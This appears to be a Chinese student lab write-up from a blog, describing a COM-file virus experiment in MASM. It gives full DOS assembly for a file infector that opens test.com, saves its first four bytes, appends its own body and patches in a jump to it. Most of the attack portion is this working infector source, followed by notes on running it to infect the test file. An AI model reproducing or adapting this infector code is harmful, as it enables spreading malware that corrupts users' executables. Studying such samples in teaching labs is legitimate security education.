COM病毒实验原理

0×01 实验内容

编译生成com病毒,用com病毒对测试文件进行感染。

0×02 实验目的

了解COM病毒的原理,掌握COM病毒的分析及其修改过程。

0×03 实验原理

COM文件是一种单段执行结构的文件,其执行文件代码和执行时内存映像完全相同,起始执行偏移地址为100H,对应于文件的偏移00H(文件头)。

0×04 实验步骤

进入目录C:\tools\asm20125目录 双击“setup”运行MASM的安装程序 按安装提示点击“下一步”执行安装程序
进入如教材图7所示,点击“安装”,即可安装MASM 此时在桌面生成了MASM的快捷方式 MASM的运行界面

将代码窗口中的代码删除,并粘贴如下代码:

program segment
assume cs:program,ds:program,ss:program,es:program
org 0100h
MOV AX,SEG MESSAGE
MOV DS,AX
MOV DX,offset message
MOV AH,09h
INT 21h
MOV AH,4Ch
INT 21h
RET
message db "This a simple com program for a test",0dh,0ah,'$'
program ends
END

点击菜单栏的“保存”,将文件命名为test.asm并保存在名为test的文件夹中 点击运行,运行test.asm

test.asm的正常运行界面
点击新建,在新建工程的代码窗口中删除原有代码,并粘贴如下代码:

CSEG SEGMENT
ASSUME CS:CSEG,DS:CSEG,SS:CSEG,ES:CSEG
   org 0100h
start:
NOP
NOP
NOP
NOP
CALL main
MOV AX,04c00h
INT 21h
RET
main PROC NEAR
mainstart:CALL vstart
vstart:
POP SI
MOV BP,SI
ADD SI,OFFSET yuan4byte-OFFSET vstart
MOV AX,0100H
MOV DI,AX
MOV AX,DS:[SI]
MOV AX,CS
MOV DS,AX
MOV DS:[DI],AX
INC SI
INC SI
INC DI
INC DI
MOV AX,DS:[SI]
MOV DS:[DI],AX
MOV SI,BP
MOV DX,OFFSET filename-OFFSET vstart
ADD DX,SI
MOV AL,02
MOV AH,3dh
INT 21h
JC error
MOV BX,AX
MOV DX,OFFSET yuan4byte-OFFSET vstart
ADD DX,SI
MOV CX,4
MOV AH,3Fh
INT 21h
MOV AX,04202h
XOR CX,CX
XOR DX,DX
INT 21h
MOV DI,OFFSET new4byte-OFFSET vstart
ADD DI,2
ADD DI,SI
SUB AX,4
MOV DS:[DI],AX
ADD SI,OFFSET mainstart-OFFSET vstart
MOV DX,SI
MOV CX,OFFSET vends-OFFSET mainstart
MOV AH,40h
INT 21h
MOV SI,BP
MOV AL,0
XOR CX,CX
XOR DX,DX
MOV AH,42h
INT 21h
MOV AH,40h
MOV CX,4
MOV DX,OFFSET new4byte-OFFSET vstart
ADD DX,SI
INT 21h
MOV AH,3Eh
INT 21h

MOV SI,BP
ADD SI,OFFSET sz_message-OFFSET vstart
MOV DX,SI
MOV AH,09h
INT 21h


JMP error
jmp MEND
DEC BP
error:
MOV CX,DS:WORD PTR[BP+OFFSET vflag-OFFSET vstart]
CMP CX,0
JE MEND

MOV AX,100h
PUSH AX
RET
MEND:
MOV DS:BYTE PTR [BP+OFFSET vflag-OFFSET vstart],1
MOV AX,100h
PUSH AX
RET
main ENDP
yuan4byte:RET
DB 3 DUP(?)
vflag DW 0
new4byte DB 'M','0e9h',0,0
filename DB "test.com",0
sz_message DB "You are infected by a concept com virus",0dh,0ah,'$'
vends:
CSEG ENDS
 END

将代码保存为virus.asm,并通test.asm一样保存在test文件夹中,
点击使之运行,可出现如教材图17所示界面,并在test文件夹中生成了virus的可执行程序

双击virus.exe使之运行,在没有test.com文件的情况下 将test文件夹中的test.asm文件改名为test.com文件
运行virus.exe,如教材图21所示,则可发现病毒正感染test.com文件

0×05 实验笔记

打开MASM程序将界面代码删除,粘贴第一段DOS汇编语言代码,保存为test.asm并保存至test文件夹中,点击运行此程序,发现是窗口
按回车即可退出此程序。

接着将第一段代码删除,粘贴第二段代码,保存为virus.asm文件并保存到test文件夹中。

打开test文件夹,发现已经自动生成了virus的exe、lst、obj三种格式文件。
双击virus.exe文件使之运行,发现是空白窗口,将test.asm文件修改为test.com文件,再次运行virus.exe文件

弹出窗口: You are infected by a concept com virus 并且一直循环

这段话意思是: 你被一种概念com通讯病毒感染了 达到一定时间就开始全窗口出现😊表情

用到的工具MASM

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

白猫a~

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值